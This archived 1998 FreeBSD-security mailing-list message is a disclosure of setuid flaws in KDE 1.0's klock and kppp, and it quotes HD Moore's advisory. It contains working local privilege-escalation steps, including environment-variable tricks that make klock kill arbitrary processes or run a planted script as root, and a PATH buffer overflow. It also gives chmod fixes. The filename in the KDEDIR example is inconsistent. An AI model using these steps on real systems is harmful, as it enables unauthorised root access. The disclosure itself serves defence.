Date: Wed, 18 Nov 1998 09:31:35 -0700 (MST) From: "David G. Andersen" <danderse@cs.utah.edu> To: wuebben@kde.org, cert@cert.org Cc: security@FreeBSD.ORG, danderse@cs.utah.edu, aleph1@dfw.net Subject: KDE kppp and klock have serious security flaws Message-ID: <13906.59901.91263.217800@torrey.cs.utah.edu> In-Reply-To: HD Moore's message of Mon, November 16 1998 <00a101be11cd$b00a8580$0100a8c0@entropy> References: <00a101be11cd$b00a8580$0100a8c0@entropy>
next in thread | previous in thread | raw e-mail | index | archive | help
HD Moore, FreeBSD-security, CERT:
I haven't released this publically yet, but the bugs are
apparent from a quick inspection of the source, or
ktracing the binaries. From the ease with which this
is exploitable, it seems fairly important for people
running KDE in a nervous environment to apply HD Moore's
and my fix as soon as possible.
Aleph1: I'm CC:'ing you on this one, but it seems best
if it's not released to bugtraq for a few days, all things
considered.
The version of KDE I'm using (1.0) is from the FreeBSD-ports
collection. I don't have KDE installed on any other
platforms at this time to test.
HD Moore just posted one root exploit. A quick examination
of KDE shows that that's not the only one.
Fix:
chmod a-s klock kppp
Problems:
1 - Kill any process you want:
setenv HOME "/tmp"
echo thepid > /tmp/.kss.pid
klock
{
KDE trusts the value of the HOME environment variable to
contain your real home directory. They do think to check
if the pid is -1, but that's about it.
}
2 - Obviously, the problem found by HD Moore can take advantage of the
race condition between the two execlp's that klock calls. From
the KDE code:
execlp( buffer, buffer, "-test", "-lock", 0 );
execlp("kblankscrn.kss","kblankscrn.kss","-test","-lock",0);
Can we say TTCTTOU flaw? Less trivially exploitable, more
serious.
3 - However, it doesn't even matter, because:
KDE trusts the value of your KDEDIR environment variable.
setenv KDEDIR /tmp
echo "#!/bin/sh" > /tmp/kblankscrn.kss
echo "id" >> /tmp/blankscrn.kss
chmod +x /tmp/blankscrn.kss
klock
"oops"
(This has ramifications in kppp as well)
3 - Hide files in other places in the filesystem.
More minor, "kppp" doesn't check your $HOME directory very
carefully when executing its make_directories() function, so it
leaves ".kde" directory turds in its path. Unfortunately, it
creates these as root, and then creates user-owned directories
within them. The result? Writable directories on-demand, in
the location of your choice.
4 - Buffer overflows? Oh dear.
if(getenv("PATH") != NULL)
strncat(path, getenv("PATH"), sizeof(path)-512);
Er, well, what if I have a path that's more than 512 characters?
Wouldn't it just be awful, if:
setenv PATH ${PATH}:`perl -e "print 'a'x1000"`
kppp
Segmentation fault
Insert obligatory plea for more security consciousness in setuid
programs here. These are sloppy bugs which should have been avoided
the first time around.
I'll stick a slightly more polished advisory about this on my webpage
soon.
-Dave
--
work: danderse@cs.utah.edu me: angio@pobox.com
University of Utah http://www.angio.net/
Department of Computer Science
Lo and Behold, HD Moore said:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> - --( the problem )--
>
> The SUID program klock shipped with KDE 1.0 attempts to execute
> kblankscrn.kss in the same directory as it. If kblankscrn.kss cannot
> be executed (missing or mode -x) then klock will search the current
> user's $PATH for any executable with the same name and execute it as
> ROOT. If no executable is found in the current path it gives this
> message:
>
> >Could not invoke kblankscrn.kss in $PATH or /opt/kde/bin
>
> Default modes for klock and kblankscrn.kss are:
>
> - -rwsr-xr-x 1 root root 8760 Mar 12 1998 /opt/kde/bin/klock
> - -rwsr-xr-x 1 root root 43600 Mar 12 1998
> /opt/kde/bin/kblankscrn.kss
>
> Systems Affected: any system that runs KDE 1.0
> ____________________________________________________
>
>
> ( the exploit )
>
> This is only exploitable if any of the following occurs:
>
> 1) klock is moved to another directory
> 2) kblankscrn.kss is moved to another directory
> 3) kblankscrn.kss is not executable
>
> To see if you are vulnerable...
>
> 1) as root, chmod 600 /opt/kde/bin/kblankscrn.kss
> 2) login as a normal user
> 3) create a shell script thats looks like:
>
> #!/bin/sh
> echo Running script as `whoami`!
> exit
>
> 4) name this script to kblankscrn.kss and mv to your home directory.
> 5) execute /opt/kde/bin/klock, you should see:
>
> user@hostname:/home/user> /opt/kde/bin/klock
> user@hostname:/home/user> Running script as root!
>
> 6) as root, chmod 755 /opt/kde/bin/kblankscrn.kss
> ____________________________________________________
>
>
> - --( the fix )--
>
> chmod 700 /opt/kde/bin/klock or wait until KDE is updated.
> the KDE buglist has been notified
>
>
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
>
> iQA/AwUBNlDXoa51X44hunVSEQJl2wCgzFbX8KdOfCfOMZGREF5e9H2BGA8An3Qw
> UmLBRO0nACQcXreodKkWFrpm
> =rKnX
> -----END PGP SIGNATURE-----
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?13906.59901.91263.217800>